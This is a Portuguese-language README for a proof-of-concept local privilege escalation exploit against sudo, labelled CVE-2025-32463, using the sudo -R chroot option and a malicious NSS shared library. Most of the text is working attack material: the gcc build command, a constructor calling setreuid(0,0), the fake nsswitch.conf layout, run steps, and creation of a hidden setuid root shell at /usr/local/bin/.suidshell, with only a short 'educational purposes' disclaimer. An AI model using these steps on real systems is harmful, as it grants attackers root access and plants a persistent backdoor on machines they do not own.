
Escalação Local de Privilégios do Sudo CVE-2025-32463 (Ideal para casos em que o shell não é estável para gerar um novo shell root)
sudo -REste PoC demonstra escalada local de privilégios em sistemas Linux por meio do abuso da opção sudo -R em conjunto com um módulo NSS personalizado. Ele visa a vulnerabilidade CVE-2025-32463, que decorre do tratamento inseguro do nsswitch.conf e das bibliotecas compartilhadas NSS em um ambiente chroot.
Este PoC, sudo2root, adapta a técnica original ao compilar um módulo NSS personalizado que aproveita o atributo constructor para escalar privilégios e instalar um shell root setuid em /usr/local/bin/.suidshell.
-R pelo sudo.sudo pode executar código arbitrário como root, quebrando o isolamento de contêineres e de usuários.sudo -R altera o diretório raiz, mas não remove privilégios nem sanitiza o ambiente.nsswitch.conf malicioso e um objeto compartilhado libnss_* personalizado.sudo para que ele carregue a biblioteca NSS controlada pelo atacante.__attribute__((constructor))), instala um shell root setuid e escala privilégios.sudo2root.c – Módulo NSS malicioso:
setreuid(0,0) e setregid(0,0)gccScript de exploit em Bash:
etc/nsswitch.conflibnss_/sudo2root1337.so.2sudo -R sudo2root sudo2root
Shell setuid:
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoinject.sh
./sudoinject.sh
Após o exploit ser concluído, execute:
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # Main exploit script
libnss_/sudo2root1337.so.2 # Malicious NSS module (compiled)
sudo2root/etc/nsswitch.conf # Custom nsswitch pointing to fake module
/usr/local/bin/.suidshell # Final setuid root shell
sudo -R:-R <dir> do sudo altera o diretório raiz antes de executar um comando.nsswitch.conf personalizado com passwd: /libnss_<name>.so, o sudo o carrega antes de remover privilégios.O objeto compartilhado é compilado com:
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
O construtor executa antes de qualquer lógica do main().
Cria e compila um shell suid com:
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
Define as permissões via:
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirusEste código é fornecido apenas para fins educacionais. O uso não autorizado deste código em sistemas que você não possui ou sem permissão explícita para testar é ilegal e antiético. Sempre obtenha a devida autorização antes de realizar testes de segurança.